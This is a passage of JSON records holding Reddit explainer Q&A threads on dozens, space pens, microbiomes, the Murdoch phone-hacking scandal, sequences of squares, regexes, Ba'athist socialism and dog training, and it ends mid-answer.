{"q_id": "e8hvsj", "title": "why twelve? why twelve-twelve? why thirteen? dozens question", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e8hvsj/eli5_why_twelve_why_twelvetwelve_why_thirteen/", "answers": {"a_id": ["fac75jz"], "score": [5], "text": [" > \tWhy are dozens dozens?\n\nIt is based on the Latin \u201cduodecim\u201d which means twelve, via French. Decim coming from ten of course, and duo for two.\n\n > \tWhy are grosses a dozen dozen?\n\nThis comes from the Old French \u201cgrosse douzaine\u201d or \u201clarge dozen\u201d, as \u201cgrossus\u201d is the Late Latin for \u201cthick\u201d.\n\n > \tWhy is a baker's dozen thirteen \n\nBack in the time of monarchies with managed economies there were guilds for everything. Blacksmiths, seamstresses, chimney sweeps, ferriers, etc. This included bakers and the guilds would set prices for a dozen loaves of bread, cakes, etc. In essence they were state-sponsored cartels.\n\nEach bakery though would want to make as much money as they could, and since they couldn\u2019t compete on price (as those were set) or quality (as that was also defined by the guild) they had an incentive to use less materials. That would mean some bakers would mix sawdust into their bread to provide cheap bulk, or simply use less flour and so make smaller cakes.\n\nPeople didn\u2019t like being cheated and so laws were put into place to harshly punish those who produced underweight loaves and cheated customers. But baking isn\u2019t a perfectly precise process and a baker riding the line of loaf weight might sometimes dip under. To ensure they wouldn\u2019t ever be penalized by the law bakers started to include an extra loaf or cake; you can\u2019t be underweight for a dozen if you give them thirteen! And thus the \u201cbaker\u2019s dozen\u201d was born."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9umgst", "title": "why do astronauts use special pens, ie. anti-gravity pens? why can't they just use pencils.", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9umgst/eli5_why_do_astronauts_use_special_pens_ie/", "answers": {"a_id": ["e95cla5", "e95cn52", "e95cupb", "e95dw24"], "score": [27, 28, 7, 2], "text": ["Pencils create carbon dust and with zero gravity this dust floats around the ship and might end up short circuiting electronic components.", "NASA did indeed use pencils right up until the Apollo program. It was at this time they switched to space pens.\n\nWhen Fisher contacted NASA to try out their pens, they were so impressed that they bought enough of them in bulk to be used on all future space missions.  Russia would soon follow suit.  By 1969, both America and Russia were using these pens in space.\n\nPencils have a habit of breaking, shattering, or leaving graphite dust.  Don\u2019t forget that pencils are made of wood which may have been treated, and is itself flammable. This would prove to be a serious fire risk in the pressurised, oxygen rich capsule.", "There are several reasons astronauts don't want pencils in space. \n\nGraphite is very conductive of electricity, and in space, because there is no gravity, things like crumbs, dust, and pencil particles have a tendency to fly all over the place and get into places they don't need to be.  If small particles of the pencil graphite were floating around, it could make its way into the intricately designed electronics and cause damage by shorting them out, or cause fires and explosions due to the nature of graphite's conductivity.  \n\nThere is also a risk of fire because of the wood and pencil shavings that come off of the pencil.\n\nAnother reason is because pen ink is permanent.  Pencils are not.  Often, there are times when using a pencil isn't a good idea because you want whatever you are documenting to be written permanently.  By using a pencil you run the risk of whatever important document you are writing in outer space getting smudged or messed up or even manipulated.  \n\nAlso, it's much easier!  With a pen, all the astronaut needs to do is start writing.  There is no finding a pencil sharpener, sharpening the pencil, and trying to make sure the shavings don't float away.   It's just grab and write. ", "On Earth most of the dust will fall to the ground where it is contained. However in space all the dust will be airborne which can result in a quite dusty environment. This can be dangerous both to the crew and the machinery. So there is a strict limit to how dusty something can be to us. Pencils tends to be quite dusty as it breaks off small graphite bits as you use it. This can be especially dangerous as graphite is electrically conductive so if it gets behind an electrical panel it can cause a short circuit. So astronauts do not bring pencils but instead crayons, grease pens, marker pens and various other writing implementations that fits the strict criteria of space travel. When Fisher developed their space pen they offered it to NASA for cheaper then what NASA spent on a pencil and the space pen were one of the writing implements available to the astronauts on the Apollo mission. It should also be noted that the Soviets also bought the Fisher space pen and brought it to space as they had the same issues as NASA."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "3vge46", "title": "What do we know about the microbiome of other animals? Do plants have microbiomes?", "selftext": "It seems like I see a new article every week about the human microbiome, and its connection to some disease process or another.  What research exists regarding the microbiome in other organisms?  \n\nI can only assume that industrial scale use of antibiotics has caused some disruptions to the gut flora of livestock animals.  Do they ever get probiotics to keep their microbiome healthy?  \n\nDo plants have a microbiome?  There are well-known symbiotic relationships with plants and fungi; what about plant bacteria?  \n\nSorry for the open-ended question, I was just musing on the subject.  ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3vge46/what_do_we_know_about_the_microbiome_of_other/", "answers": {"a_id": ["cxne03e", "cxo6la4", "cxpbaur"], "score": [6, 3, 2], "text": ["The microbiome of animals is definitely a real thing. Ego aside, humans are just weird, jumped-up patchy-haired mammals and we work the same on the inside.\n\nBut do we look into animal microbiomes as much? Not to the same scale. We are aware that cows and other ruminants have a much more interesting GI tract to help handle their diet, and that includes a [fascinating amount of microbiota](_URL_1_).\n\nAs for probiotics, I find this unlikely. The feed is designed to be simpler to digest and focuses on rapid growth, so even if the industrial antibiotic use is adversely affecting their GI biota (and it would, you are totally right there), they are still bulking up fast enough that the industry is not concerned.\n\n*Speculation: it's also worth noting that the previous link mentions non-bacterial elements in the rumen's microbiome; it's possible the fungi and other less at-risk populations will grow in the antibiotic laden environment.*\n\nPlants don't have the same degree of colonization, but it does happen! Nitrogenating bacteria in [root nodules](_URL_0_) are the main locations. Plants have also learned to [attract predatory microbes and insects](_URL_2_) when attacked by parasitic or infectious agents.\n\nI love open-ended questions. Let me know if you have more after this!", "Plants do in fact have a microbiome, and just like with animals the microbes that live in and on plants can dramatically impact their health.  Roughly 80% of all plant families form mutualistic associations with [mycorrhizal fungi](_URL_0_) in their roots. These mycorrhizae actually trade nutrients from the soil, mostly phosphorus and nitrogen, to the plant for sugars.\n\nAdditionally, all plants surveyed to date contain fungal endophytes, which live inside plant tissue without causing disease. Some endophytes are vertically transmitted, infesting all tissues of the plant including seeds, while others are horizontally transmitted and form small localized infections on their hosts.  The horizontally transmitted endophytes can be especially diverse and you can often recover dozens of different species from a few square cm or surface sterilized tissue on a single leaf in some plant species.\n\nWhat do these endophytes do? For most of them we have no idea. However there are examples of some endophytes providing some real benefits to their plant hosts. Things like increased growth and tolerance to water salt and heat stress, production of toxins that deter herbivory, and even providing protection from pathogens.\n\nOh yeah, some of these endophytic fungi also have bacteria and viruses living within them too.", "Other than the mycorrhizal symbiosis that plants form with fungi, they also do have a microbiome of bacteria/archea on their roots. Just as our microbiome is very important to us, so is this microbiome very important to plants.    \n\nPlants actually secrete sugars and other substances through their roots to directly promote this microbial symbiotic ecosystem. They can even choose to secrete or not secrete different things to affect the composition of this ecosystem as well. And not only does the plant feed bacteria and fungi here, but the bacteria/fungi themselves serve as food to fuel a whole soil ecosystem of protozoa and other things that live off of them.   \n\nRead up on it, the [Rhizosphere](_URL_1_), and the [soil food web](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Root_nodule", "https://en.wikipedia.org/wiki/Rumen#Microbes_in_the_reticulorumen", "http://www.plantphysiol.org/content/121/2/325.full"], ["https://en.wikipedia.org/wiki/Mycorrhiza"], ["https://en.wikipedia.org/wiki/Soil_food_web", "https://en.wikipedia.org/wiki/Rhizosphere"]]}
{"q_id": "j2uke", "title": "li5: can someone explain what's allegedly happened with murdoch's phone hacking scandal, and why it's so important?", "selftext": "All I can gather is something about the integrity of newspapers and such. What's going on exactly?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/j2uke/li5_can_someone_explain_whats_allegedly_happened/", "answers": {"a_id": ["c28ohdo", "c28olqh", "c28pkxo"], "score": [25, 4, 6], "text": ["Police were investigating a girl's murder. One small detail of the case was that her family insisted she was still alive (possibly run away, kidnapped, whatever) because phone records showed her voice mail was still being remotely checked regularly and some messages were even deleted.\n\nIt turns out a News of the World (one of Murdoch's companies) employee was the one checking the voice mail as a way to get story leads. Messages were deleted so the voice mail box wouldn't fill up, blocking new messages. Deleting those messages is destroying evidence and is terrible because even the tiniest clue can catch a murderer.\n\nThis catches the public's attention, more investigation is done and it comes out that this has happened several times before. Most notably, another Murdoch employee allegedly tried to grease palms with September 11th first responders to get info from cell phones in the same vein. This REALLY catches the public's attention.\n\nSo, the debate, if we can call it that, is whether or not it's ok for reporters to illegally access your phone messages, delete the ones that could possibly catch the person who murdered you, etc. And, that's only the thing they were *caught* doing.", "Why it's so important:\n\nIt's revealed a culture of intimidation in Rupert Murdoch's businesses. Whistleblower (a man who died shortly into this scandal) testimony explains how Rupert Murdoch is basically a mafia-king. He uses his media empire to influence politics, sometimes in a threatening way.\n\nIn summary, a Private Individual, has been using his means to threaten Public servants. \n\nThe whole scandal just really shows how fucked up the media is. Him especially.", "OK so here's my take\n\nMurdoch's British empire has also **admitted** to paying police for private information (which is illegal), paying hush money to people they hacked, hacked lots of famous people and common peoples phones including murdered school girl Milly Dowler, Royal aides to the Royal Family etc\n\nThey have also been **accused** of hacking the phones of the family of 9/11 victims and that of soldiers killed in Iraq - actually up to 3000 people are thought to be possible victims (this number relates to the number of people whose personal details were found in documents belonging to the people sent to Jail for phone hacking)\n\nOK so we have established they are defiantly up to no good - but how high does the corruption go\n\nWell here are some big people to take a hit\n\n\n**Arrested**\n\nRebekah Brooks - head of Murdoch's empire for the whole of Britain\n\nAndy Coulson - was the editor of News of the World (the paper responsible for the hacking) whilst the hacking was taking place BUT he was later given a job as the director of communications for the GOVERNMENT and was a spokesperson for DAVID CAMERON the BRITISH PRIME MINISTER - it is thought that the close ties between Cameron and Coulson got a front page endorsement on News Corp. news papers saying we support Cameron for Prime Minister last election\n\n\nOK who else has taken a fall?\nWell the top Police Officer in Britain and his no.2 have both had to step down.\nThere are many more but you get the point - the corruption has landed many higher ups in hot water.\n\n\nSo what does all this mean?\nWell you have this corrupt all powerful media group who get themselves into the inner circle of politicians (from all sides of politics) in exchange for their support in elections, at least the last two British governments were openly backed by News Corps media empire. \n\n\nSo the real problem is that we have these people who we know are crooks and liars, and they are getting important government jobs holding lots of sway over elective officials - which has helped them get away with allot, for example blocking investigations into their illegal activity (that's right News of the World have recently been found to actively obstruct activation into their illegal activity).\n\n\nSo that's pretty bad for Britain, what about the rest of the World?\nWell, so far their are a few investigations underway by the FBI and such into Murdoch's empire in the US, but nothing of the same scope as the UK. But Murdoch owns Fox News as you may be aware, and given their general bias many have suggested what is going on in Britain is likely to be going on in America also. The phone hacking AND the closeness of these crooks and liars to US politicians.\n\n\nhope that helps\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3ce9nl", "title": "Property of a sequence of squares?", "selftext": "A couple a months I realized about an interesting pattern between several squares; their differences increased by two each time the base increases by one.\n\nFor example, let's take 1^2, 2^2, 3^2, 4^2, 5^2... and so on.\nThis would be equal to 1, 4, 9, 16 and 25, respectively.\n\n* 25 - 16 = 9\n* 16 - 9 = 7 \n* 9 - 4 = 5\n* 4 - 1 = 3\n\n\n* 9 - 7 = 2\n* 7 - 5 = 2\n* 5 - 3 = 2\n* 3 - 1 = 2\n\nApparently this continues on forever. Does this pattern have a name? If so, what are its practical applications? Does the rule also applies to negative bases or fractions? What about other exponents?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3ce9nl/property_of_a_sequence_of_squares/", "answers": {"a_id": ["csusacu", "csusbky", "csuupwi", "csuw6k1", "csuw7my", "csv3n4k", "csvzoq0"], "score": [8, 3, 2, 2, 2, 2, 2], "text": ["(a+1)\u00b2 - a\u00b2 = a\u00b2 +2a + 1 - a\u00b2\n\n(a+1)\u00b2 - a\u00b2 = 2a +1\n\nSo if you increase/decrease a by 1, the value of the difference will increase/decrease by 2.\n\nI don't think it has a name because it's a direct effect of really basic proporty of multiplication", "Not sure if there's a name for this or any practical application, but if you're looking for a general rule here it is.\n\nlet the lower of the two 'bases' as you called them be an arbitrary real number n. Then:\n    \n(n+1)^2 = n^2 + 2n + 1\n\n(n+1)^2 - n^2 = 2n + 1\n\nNote that n can be any real number.", "Let a be 4\n\n(a+1)^2 - a^2 is the first term (25-16=9).\n\na^2 - (a-1)^2 is the second term (16-9=7).\n\nSo if you subtract the second term from the first term (9-7), you end up with the following,\n\n(a+1)^2 - a^2 - a^2 + (a-1)^2 = a^2 + 1 + 2a -2a^2 +a^2 + 1 - 2a = 2\n\nSo its a constant for any a. Its nothing major, just an interesting result.", "I use another equation when I want to calculate square roots without a computer:\n\n(a + 1)^2 = a^2 + (a) + (a + 1)\n\nSo, say I have the number 451 and I am asked to find its square root. I know that 20^2 = 400.\n\n21^2 = 400 + 20 + 21 = 441\n\n22^2 = 441 + 21 + 22 = 484\n\nMy number is 451, which is closer to 441, so I start with 21.3 and I use numerical analysis starting from there. This is a practical application saving lots of time.\n\nAs for whether it applies to fractions, it sure does.\n\n2.1^2 = 4.41\n\n2.2^2 = 4.84\n\n2.3^2 = 5.29\n\nSo, in this case instead of 2 we have 0.02.\n\nIt does not apply to other exponents. It is a property of parabolic trajectories.", "Lay out 16 coins (or similar small items) in a 4 x 4 square. Then to make the square 5 x 5, you'll need to lay out an extra row of 4, an extra column of 4, and another 1 in the corner where the new row and column meet. So to go from 4 x 4 to 5 x 5, you need 2 x 4 + 1 = 9 more coins.\n\nIn general, to increase from n^2 to (n + 1)^(2), you need an extra 2n + 1 items. So (n + 1)^2 = n^2 + 2n + 1.\n\nThen, to go from (n + 1)^2 to (n + 2)^(2), you need an extra 2(n + 1) + 1 items, or 2n + 3. This is 2 more than you needed to go from n^2 to (n + 1)^(2).\n\nThis is what you have discovered. Since n can be any whole number (1 upwards), the pattern does indeed go on for ever.\n\nWhat you are looking at is an example of a recurrence relation.", "This is exactly the [calculus of finite differences](_URL_0_).\n\nTaking the finite difference of a sequence is a lot like differentiation in that it gives a sense of the rate of change, and when applied to polynomials, it reduces the degree by one. So, like you've noticed, when you plug in a quadratic function (in your case, x^(2)), you get an linear function out (2x+1). (Or an \"[affine function](_URL_1_)\" if you're a pedant about how the word \"linear\" is used.) This generalises directly: when you plug in a cubic function, you get a quadratic function out, and so on.\n\nOr, looking at it from another way, if you take the finite difference of a degree-n function n times, you end up with a degree-0 function, which is another way of saying that it ends up as a constant. Taking the finite difference of a constant function just gives you zero. The same holds true for differentiation too.\n\nIf we consider functions of the form f(x) = x^a where a is not an integer, then, as with differentiation, taking finite differences repeatedly *doesn't* converge to a constant function, but unlike differentiation, where we know that the nth derivative of f is f^(\uff08n\uff09)(x) = \u0393(a+1)/\u0393(a\u2212n+1) x^(a\u2212n), the nth finite difference of f, \u0394^(n)f(x), does not have a closed form expression.\n\nOh, and just like differentiation gives you Taylor series, taking finite differences gives you the completely analogous Newton series.", "This is something I noticed in early high school too, later as you learn about calculus it makes sense:\n\nThe formula of the sequence is n^2.\n\nWhen you differentiate it you get 2n.\n\nWhen you differentiate it again you get 2, a constant number. This is essentially what you are doing, you are taking the second difference.\n\n > If so, what are its practical applications?\n\nIn some financial mathematics, it used to be inefficient to calculate integrals/differentials exactly as there is too much work, it is easier to do it numerically (say by linear interpolation). Although in modern times we have the calculation power of the world on our pc so it isn't an issue. That being said, there are still some calculations where there is no exact answer, but the numerical one."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], ["https://en.wikipedia.org/wiki/Finite_difference", "https://en.wikipedia.org/wiki/Affine_transformation"], []]}
{"q_id": "w1e0p", "title": "how do regexes...work?", "selftext": "So, have you ever run into a programming concept that you just *couldn't* learn, no matter what?  Regexes are that for me.  I can't tell you how many times I've read up on the basics of regexes, looked in books, seen websites, used tutorials, and even copy-and-pasted regexes into my code...and they're still fucking magic to me.  For some reason, my brain just shuts down when I'm looking at them.  I think one of my profs scarred me in university or something.\n\nI put to you a possibly impossible task: can you explain the basic principles behind regexes (how they work, why they work) in a way that I can remember and makes sense?  Possibly with a few basic examples, building on each other? \n\nYou'd really be improving my life.\n\nEDIT: I'm happy I posted this; hopefully other people benefit from it in the future!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/w1e0p/eli5_how_do_regexeswork/", "answers": {"a_id": ["c59ffb5", "c59fjd0", "c59fpxj", "c59gb18"], "score": [3, 2, 5, 30], "text": ["Well, Finite state automata.\n\nRegex are frequently considered to be \"write-only code\", meaning many people can write them, but few can re-read them.  \n\nThe other problem with them is there's a bunch of different syntaxes for them.  Mostly it goes like this:\n\nCharacter | Meaning\n----|------\n.     | any character\n*    | 0 or more of the characters before it\n+    | 1 or more of the characters before it\n?    | 0 or 1 of the characters before it.\nletters | letters mean themselves\n[sS]    | matches either s or S\n\nSo, an expression like:\n\n `Colou?r` will match Color or Colour\n\n `[Gg]reen` will match Green or green\n\n  `.ar` will match car, bar, aar, dar, far, gar, har, iar (and so on)\n\n  ", "They are really just a set of words, which can then be used to match words from an input.\n\nSo say I write a program that puts a colour on the screen if the user types it into a text field. I could use the regular expression *gray* to match against the text entered, then only if the exact phrase *gray* is entered will it register as a match and display the colour.\n\nNow say I decided that this program should also recognize that someone might spell this colour as either *gray* or *grey*. I can do this using the regular expresion *(gray|grey)* as the *|* symbol is used as an \"or\" operator. Alternatively, I can use *gr(a|e)y* as the *gr*, and *y* are shared in both words, and we can have either *a* or *e* in between.\n\nThere are a bunch of other operators and quantifiers and things like that that should be easier to look up than have me explain each one. It's probably easier to explain this if you have specific questions too instead of just trying to explain everything, as it's a very simple concept that can have quite complicated use cases.", "Imagine you've got a series of rails and switches, and your train starts at the beginning. At each switch, it takes a different route depending on certain information. That's a state machine - each state is the train being stopped at a particular switch.\n\nA regex is in essence just a state machine (some of the more advanced features break this analogy a bit).\n\nLet's take a very simple regex:\n\n    a+\n\nThe \"a\" means to look for an input letter a, while the plus means \"one or more\".\nIn our state machine (with two states and three transitions):\n\n* [0]: Start\n* (0 - >  1): a\n* (1 - >  1): a\n* (1 - >  0): Anything except a\n* [1]: Accept state\n\nOne transition is made for each character of input.\nIf, after reaching the end of input, we're in an accept state, then the regex matched. Otherwise it didn't.", "(Edited to fix formatting and make a clarification.)\n\nRegular expressions are just a way to say \"match things that show up in a particular order.\"\n\nLet's say car manufacturers all start painting the first letter of their brand names on the sides of their cars to make them easy to identify.  Dodges get a big \"D\", BMWs get a big \"B\", Toyotas get a big \"T\", etc.\n\nLet's also say you're standing the side of a road with a flag in one hand.  Your job is to watch traffic go by and every time you see a Dodge (\"D\"), point at it and wave the flag.  So you sit there for awhile not seeing any Dodges and you do nothing.  Then a Dodge goes by with its big D painted on the side, so you point at it and wave your flag like a madman.  Congratulations, you've become a regular expression engine and have just evaluated your first regular expression:\n\n  >  /D/   (D.  The slashes are sometimes used to denote regular expressions.)\n\nWhat you've done is called \"finding a match.\"  Easy enough, right?  You can sit there and point at Dodges all day.  That gets kind of boring, so your overseers give you a another assignment, find Dodges followed by an Audi.  That's a more complex regular expression:\n\n  >  /DA/   (D followed by A)\n\nSo you start by looking for a Dodge, and when you find one, you look at the car that follows it.  If the second car is an Audi, you've found a match and you start pointing and waving your flag.  If not, you start over and look for a Dodge.\n\nOne more assignment, a Dodge followed by an Audi followed by a Chevrolet followed by another Chevrolet:\n\n  >  /DACC/  (D followed by A followed by a C followed by another C)\n\nWhat's important to note here is that you don't start looking for an Audi until after you see a Dodge and Chevrolets aren't on the radar until after you've found the Audi.  You progress across the expression starting from the left and not waving the flag until you fall off the right edge.  If you fail somewhere in the middle (say, a Dodge followed by an Audi followed by a Ferrari), you go back to square one.\n\nThe pattern you should be seeing here is that you're being given a list of \"things\" to look out for.  That's really all there is to it.  Where regular expressions get complex is in defining what a \"thing\" is.\n\nIndividual characters are easy, but you can use certain special characters to give things special meaning, such as a dot that matches anything:\n\n  >  /DA.T/  (D, A, anything, T)\n\nThis means that Dodge, Audi, Hyundai, Toyota (DAHT) will match, as will Dodge, Audi, Dodge, Toyota (DADT) or Dodge, Audi, Mercedes, Toyota (DAMT), all because any car can fit in the blank where the dot is.  When you wave your flag and report a match, you report the sequence that matched.\n\nOther characters, like the asterisk, plus sign and braces, apply special meaning to the thing before them to indicate how many you want:\n\n  >  /DA*T/  (D followed by zero or more As followed by a T)\n  > \n  >  /DA?T/  (D followed by zero or one As followed by a T)\n  > \n  >  /DA+T/  (D followed by one or more As followed by a T)\n  > \n  >  /D{3,5}AT/ (Between 3 and 5 Ds followed by an A and a T)\n\nBrackets make up a compound \"thing\" that can be any of the things inside it:\n\n  >  /D[ABM]T/  (Dodge followed by a Audi or BMW or Mercedes followed by a Toyota)\n\nSo can parentheses:\n\n  >  /(DA)?T/   (Optional D-followed-by-A followed by a T, so T or DAT will match)\n  > \n  >  /(DA|TH)F/ (D-followed-by-A or T-followed-by-H, followed by F, so DAF or THF will match)\n\nThe pipe symbol within the parens means \"any of these regular expressions is considered a match for this thing.\" \n\nSome special characters are called \"anchors\" that mean you find the expression at the very beginning or the very end of the string:\n\n  >  /\\^DAT/  (Dodge, Audi, Toyota being the first cars you see that day)\n  > \n  >  /DAT$/  (Dodge, Audi, Toyota being the last cars you see that day)\n\n\nThere's a lot of punctuation flying around a complex regular expression, but the key to understanding it is to break it into individual \"things\" and treat them like items on a checklist.  There are also a lot more complex things, but what I've outlined above are the basics that get used 90% of the time.\n\nHTH, and here's looking forward to your sixth birthday.  :-)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "6ymokt", "title": "Ba'ath Parties in both Iraq and Syria described themselves as Socialist. What exactly did the word \"Socialism\" mean for Baathists?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ymokt/baath_parties_in_both_iraq_and_syria_described/", "answers": {"a_id": ["dmoyk57", "dmozhne", "dmq2nev"], "score": [38, 196, 6], "text": ["Certainly more can be said, but [this previous question](_URL_1_) with an answer from /u/DeluxMallu might be useful, while [this one](_URL_0_) from /u/kieslowskifan isn't quite as on the nose, but does look at the Ba'athist party, Communists, and the Soviets so might also be of interest.", "To add to the excellent answer from DeluxMallu, socialism in Syria meant many things. It meant land reform, dividing large landed estates and reforming tenancy laws to give farmers more secure rights. It meant import substitution, with the government playing a major role in trade, investment, and industry. It included a major expansion of public services, and access to education and healthcare. Government budgets and state payrolls expanded dramatically.\n\nHowever, private property was respected. Members of the traditional Sunni merchant class (especially those based in Damascus) were often partners with the government. Many industrialists thrived thanks to high tariffs on processed goods. Moreover, members of Assad's clan often accumulated substantial wealth, and after an initial strongly anti-business attitude, the government became more than willing to work with businesses. Poor farmers genuinely saw better access to land and public services, but there was no wholesale attack on the traditolnal elite. \n\nThe policies I have described above could apply to a lot of countries in Africa and Asia. Hafez al-Assad was always more concerned with military and geostrategic issues than economic policy, and in a lot of ways these policies were just the recieved wisdom of the times. \n\n Land Reform in Syria\nZiad Keilany ,\n\nThe Political Economy of Investment in Syria Linda Matar", "I can only speak in regards to the Iraqi side of things. I wouldn't call myself an expert in terms of Middle Eastern history (although that was nominally my undergraduate focus). Moreover, I understand ahead of time that my own personal understanding of socialism in the context of Iraq is somewhat biased given that as a descendant of wealthy Kurdish aristocrats, I hold a certain amount of animosity towards the Baathists.\n\nA key aspect of Baathism or Arab Socialism was \"Arabness.\" In many ways the philosophy can be associated with the ethos of National Socialism in Germany after 1933. Arab Socialism was a brand of \"socialism\" that borrowed heavily from the ideology of Arab nationalism. After the failure of the Arab coalition during the Six-Day War in 1967, Arab nationalists and intellectuals began looking for new ideological means of explaining their failures to stand against Israel and the \"West.\" The more traditional anti-colonial nature of Arab nationalism gave way to two competing logics to further the goals of Arab states, namely resisting Western imperialism and asserting Arab power and prestige. The two ideologies were the more socialist/communist (or even fascist) informed movements like the Baath movement and Islamic movements. While one was fundamentally secular and the other fundamentally religious, they were both (and continue to be) tied heavily with conceptualizations of the Arab nation and narratives of its former greatness and fundamentally anti-capitalist.\n\nHowever, given the nationalist nature of Baathism an \"other\" is ultimately needed to justify the consolidation of state power. For other \"socialist\" states much of the ire was directed toward the bourgeoisie, aristocrats, or \"rich peasants\" ie Kulaks in the USSR or \"rich peasants\" in the Great Leap Forward under Mao. \n\nIn Iraq, the Kurds bore the brunt of this \"othering.\" Arabization (\u0627\u0644\u062a\u0639\u0631\u0628) was the primary political philosophy through which land reform and \"socialism\" was undertaken. Kurdish lands were confiscated (much like in my own family) and then redistributed to Iraqi peasants or politically connected individuals. Many Kurds were forcibly removed from their homes. \n\nNowhere is this more evident than in Kirkuk where my family is from. Before the process of Arabization began in the 70s (culminating in the Al Anfal Campaign/Kurdish Genocide in the 80s), the city of Kirkuk was considered by many to be the de facto capital of the Kurdish nation with the largest portion of the population being Kurdish residents. Kirkuk has been a culturally diverse city for centuries though, with many Arabs and Turkmen in the city. So calling it a Kurdish city only is somewhat dubious. Some call it a microcosm of Iraq because of this. By the 90s, over 70 percent of population was Arab. Kurdish people are returning to Kirkuk and the Kurdish regional authority effectively controls the city now. \n\nMy point in all of this is to say very simply, Arab socialism in the context of Iraq is much more similar to the economic nationalist, fascist brand of socialism of the Nazis or Mussolini than it is Marxist. Calling Baathism \u201csocialist\u201d is then quite problematic and was primarily a rhetorical device used to drum up support for authoritarian governments. Funnily enough, when my mother was growing up in Kirkuk she was required to read Mein Kampf in high school Hitler\u2019s anti-Semitism fit well into the anti-Zionist ethos of Baathism and \u201cArab Socialism.\u201d\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4bemfu/why_did_baathist_iraq_continue_to_purge_iraqi/d19f1og/", "https://www.reddit.com/r/AskHistorians/comments/6popdq/baathist_party_socialist_fascist_neither/dks5j04/"], [], []]}
{"q_id": "1v6mcx", "title": "what seems to be the best method for raising a dog?", "selftext": "I don't think negative reinforcement is the answer.\n\nHow do I raise a good dog?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1v6mcx/eli5_what_seems_to_be_the_best_method_for_raising/", "answers": {"a_id": ["cep8zxv", "cep96ty", "cep9d4y", "cep9mlh", "cep9zf7", "cep9zqi", "cepa5xx", "cepaack", "cepgrqb", "ceph9hr", "cepif6y", "cepinos", "cepjpb5", "cepwgmd"], "score": [32, 10, 3, 9, 3, 246, 3, 7, 3, 2, 5, 2, 6, 2], "text": ["Positive reinforcement when it does good, and ignoring the dog (avoid eye contact, look away, even turn your whole body away from it) when it does bad. \n\nA dog likes attention and will do anything to get it. So when you don't give it attention for something you don't want it to do, it will soon realize this and move on to other means to get your attention. You have to be patient and let the dog figure it out, never yell at it, its not the dogs fault, it doesn't understand human language. Eventually it will figure out what works and what doesn't work. After a while, combined with positive reinforcement for when it does good, it will learn what it has to do to make you happy and give it a treat.", "Consistency and repetition are probably the most important part of training any animal (humans included).\n\nMake sure you use the same posture and tone when giving verbal commands, and associate those commands with a hand signal too. I prefer to use sounds instead of words. Repeat these commands consistently, and reward good behavior consistently.\n\nRemember that your dog doesn't consciously understand good or bad, and is really just responding to your cues. Negative reinforcement is generally confusing and ineffective for training dogs, you'll want to stick with positive reinforcement and following a strict routine for things like house training and leash training.", "Depends on the dog - and the owner. You ask like you're inexperienced (in which case, congratulations, this is quite the adventure!).\n\nSome might disagree, but I think Cesar Milan does a good job. Look how well behaved his dogs are. Me personally? Lots of early socialization, be very firm with them, but reward them generously. I am getting constant compliments on how well behaved my border collies are. They're like kids. They can mess around, but when it's time to get serious, I expect them to fall in line pretty damn quick - and they do.\n\nEdit: Wanted to point out that, in agreement with many others here, pure negative reinforcement is wrong. It has its place, but in isolation, it's how you end up with an emotionally scarred animal. There is almost NO reason to beat a dog - avoid at all costs.", "My secret for training my boxer was hot dogs. No dog can resist a hot dog, and they'll damn near do anything to get some. ", "I agree with early socialization and will add that giving the dog a job, or purpose, has proven helpful to me. Or several jobs. Anything that makes him/her proud and gets rewards. A good one used to be bringing in the newspaper, for those of us who remember newspapers. I just think feeling they have a purpose satisfies some dog instinct. Maybe a pack thing. Just loving a dog is certainly not enough. Best wishes to you!", "To raise a dog the right way you should place both arms underneath the animal and lift whilst keeping your back straight and shoulders level. Face the same direction as your hips. Always bend your legs instead of the trunk to reduce stress on the spine.", "Hand feed the meals, and take toys away at the \"height\" of their playfulness.   Do not tolerate any growling when you do this.", "As already said positive reinforcement for good actions and stop then ignore bad actions. Remember that long car journey you regularly took as a kid? If you try to remember it now, you'll find that you only remember the interesting points of the journey all the boring bits have been shortened or removed, training a dog is a bit like that if the dogs loose in the field and won't come back don't lose your temper stay patient and when the dog returns to you reward _URL_0_ this every time, and the dog will shorten the memory of when it ignores you over time and only remember you calling and it coming back to you, if you follow me.\nAlso be aware of what's known as extinction spike behaviour, basically this is when you start ignoring a dog for bad behaviour then the incidence of that behaviour can actually increase for a while until it decreases and stops, this might be followed by a period where the behaviour does not exhibit at all, then returns for a final little spike before it ends.\n\nWikipedia has a page on this but I can't for the life of me work out how to insert links", "From my recent experience I've found the following things helpful:  \n1) Dogs aren't people and don't understand emotions  \n2) Dogs respond well to positive reinforcement  \n3) Attention can be considered reinforcement, remember that and #1 when you are correcting your dog  \n4) Dogs are every day.  Want to go out of town for the weekend?  Where's your dog staying?  Going out to the bars tonight?  Will you be home to let your dog out?", "EXERCISE.\nDISCIPLINE.\nLOVE.", "Check out videos like Kikopup and Training Positive on YouTube. These offer great insight on training a dog the correct way. You can also check out the sidebar on /r/dogs and /r/dogtraining.", "My dog has some how turned out to be, by almost all accounts, a perfect dog.  She listens well, tries to be good, and never complains.  How I achieved this? I have no clue.  I spanked her a little bit when she was young during potty training (I know your not supposed to and I wouldn't do it again because i feel bad about it) and my girlfriend worked with her a little bit on tricks like sit and stay and come.  But all in all I pretty much just treated her like a person. I don't really 